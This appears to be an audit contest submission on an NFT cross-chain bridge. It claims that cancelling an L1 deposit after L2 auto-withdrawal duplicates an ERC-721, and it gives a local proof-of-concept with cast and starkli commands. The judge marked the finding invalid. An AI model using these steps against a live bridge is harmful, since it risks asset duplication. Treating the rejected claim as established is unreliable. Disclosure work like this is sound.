NFTBridge
60,000 USDC
View results
Submission Details
Severity: high
Invalid

ERC-721 Cross-Chain Transfer Vulnerability: Risk of Duplicate NFTs

Summary

When transferring an ERC-721 token from Layer 1 (L1) to Layer 2 (L2), L2 uses the withdraw_auto_from_l1 function to automatically process the message and transfer the ERC-721 to OwnerL2. However, if a startRequestCancellation is successfully initiated on L1, the corresponding ERC-721 can still be returned, leading to the duplication of what should be a unique asset across different chains.

Vulnerability Details

After withdraw_auto_from_l1 processes the message, it fails to inform L1 to clear the l1ToL2Messages()[msgHash]. This results in an inability to verify on L1 whether the message has been processed, allowing it to remain indefinitely.

function startL1ToL2MessageCancellation(
uint256 toAddress,
uint256 selector,
uint256[] calldata payload,
uint256 nonce
) external override returns (bytes32) {
emit MessageToL2CancellationStarted(msg.sender, toAddress, selector, payload, nonce);
bytes32 msgHash = getL1ToL2MsgHash(toAddress, selector, payload, nonce);
uint256 msgFeePlusOne = l1ToL2Messages()[msgHash];
@> require(msgFeePlusOne > 0, "NO_MESSAGE_TO_CANCEL");
l1ToL2MessageCancellations()[msgHash] = block.timestamp;
return msgHash;
}

Proof of Concept (POC)

Configure STARKLANE_L2_ADDRESS and STARKLANE_L2_SELECTOR in apps/blockchain/ethernum/.env for the local environment. Set STARKLANE_L2_SELECTOR to 0x03593216f3a8b22f4cf375e5486e3d13bfde9d0f26976d20ac6f653c73f7e507.

Run source .env in the terminal.

Configure and start the L1 and L2 bridges. Use the following to mint an ERC-721 on L1 and authorize the bridge:

cast_admin_send ${ERC721_L1_ADDR} "mintFromBridge(address,uint256)" ${ETHEREUM_USER_ADDR} 3

Transfer the NFT with tokenId 3 from L1 to L2:

cast_user_send ${BRIDGE_L1_ADDR} "depositTokens(uint256,address,uint256,uint256[],bool)" 0x123 ${ERC721_L1_ADDR} ${STARKNET_USER_ACCOUNT_ADDR} "[3]" false --value 0.01ether

Observe the terminal running katana --messaging ./data/anvil.messaging.json --seed 0 for output like:

L1Handler transaction added to the pool. tx_hash=0x4edb25b7374ed5fbd7fb32b6fa4846b852468a65017214d71962e7edc444ce0 contract_address=0x155713d9f99c3cba8eea4dcf3224a60162de750a426d6d17ba81b338d82ce6d selector=0x3593216f3a8b22f4cf375e5486e3d13bfde9d0f26976d20ac6f653c73f7e507 calldata=0x5fc8d32690cc91d4c39d9d3abcbd16989f875707, 0x101, 0xab756952842d1873926c758ea8766f16, 0x7008d3618b32bb5267157ede26bf43ce, 0x9fe46736679d2d9a65f0992f2272de9f3c7fa6e0, 0x0, 0x70997970c51812dc3a010c7d01b50e0d17dc79c8, 0x6162896d1d7ab204c7ccac6dd5f8e9e7c25ecd5ae4fcb4ad32e57786bb46e03, 0x0, 0x6576657261695f313233, 0xa, 0x0, 0x4556525f313233, 0x7, 0x0, 0x0, 0x0, 0x1, 0x3, 0x0, 0x0, 0x1, 0x0, 0x0, 0x0, 0x0

This indicates L2 received a message from L1.

0x5fc8d32690cc91d4c39d9d3abcbd16989f875707 specifies the L2 Bridge address and 0x101, 0xab756952842d1873926c758ea8766f16, 0x7008d3618b32bb5267157ede26bf43ce, 0x9fe46736679d2d9a65f0992f2272de9f3c7fa6e0, 0x0, 0x70997970c51812dc3a010c7d01b50e0d17dc79c8, 0x6162896d1d7ab204c7ccac6dd5f8e9e7c25ecd5ae4fcb4ad32e57786bb46e03, 0x0, 0x6576657261695f313233, 0xa, 0x0, 0x4556525f313233, 0x7, 0x0, 0x0, 0x0, 0x1, 0x3, 0x0, 0x0, 0x1, 0x0, 0x0, 0x0, 0x0 is the serialized Request.

Verify the ERC-721 on L1 is transferred to the L1 Bridge using:

cast call ${ERC721_L1_ADDR} "ownerOf(uint256)" 3

Expected result:0x0000000000000000000000005fc8d32690cc91d4c39d9d3abcbd16989f875707($BRIDGE_L1_ADDR)

On L2, check the deployed contract address using:

starkli_user call ${BRIDGE_L2_ADDR} get_l2_collection_address ${ERC721_L1_ADDR}

Note the L2 ERC-721 address in $ERC721_DEPLOY_L2_ADDR.

Confirm the ERC-721 is transferred to the correct L2 user using:

starkli_user call ${ERC721_DEPLOY_L2_ADDR} ownerOf u256:3

Expected result:0x06162896d1d7ab204c7ccac6dd5f8e9e7c25ecd5ae4fcb4ad32e57786bb46e03($STARKNET_USER_ACCOUNT_ADDR)

On L1, attempt to reclaim the ERC-721 using:

cast_admin_send ${BRIDGE_L1_ADDR} "startRequestCancellation(uint256[], uint256)" "[0x101, 0xab756952842d1873926c758ea8766f16, 0x7008d3618b32bb5267157ede26bf43ce, 0x9fe46736679d2d9a65f0992f2272de9f3c7fa6e0, 0x0, 0x70997970c51812dc3a010c7d01b50e0d17dc79c8, 0x6162896d1d7ab204c7ccac6dd5f8e9e7c25ecd5ae4fcb4ad32e57786bb46e03, 0x0, 0x6576657261695f313233, 0xa, 0x0, 0x4556525f313233, 0x7, 0x0, 0x0, 0x0, 0x1, 0x3, 0x0, 0x0, 0x1, 0x0, 0x0, 0x0, 0x0]" 0

Finally, cancel the request:

cast_user_send ${BRIDGE_L1_ADDR} "cancelRequest(uint256[], uint256)" "[0x101, ...]" 0

Verify ERC-721 ownership reverts to the user:

cast call ${ERC721_L1_ADDR} "ownerOf(uint256)" 3

Expected owner address:0x00000000000000000000000070997970c51812dc3a010c7d01b50e0d17dc79c8($ETHEREUM_USER_ADDR)

Impact

This vulnerability compromises the uniqueness of the NFT, posing significant risks to the project. Even with potential audits of startRequestCancellation messages, the inherent user and NFT project concerns remain. This can sharply decrease user participation and could lead to NFT projects declaring the related L2 contracts as illegitimate.

Tools Used

Manual Review

Recommendations

L2 should notify L1 to set l1ToL2Messages()[msgHash] to zero after processing messages from L1. Additionally, when transferring from L1 to L2, the ERC-721 on the L1 Bridge should be subject to a locking period during which it cannot be withdrawn. This is to prevent scenarios where the ERC-721 on L1 can be returned while L2 is processing a cross-chain block, mitigating the risk of accidental duplications.

Updates

Lead Judging Commences

n0kto Lead Judge about 1 year ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.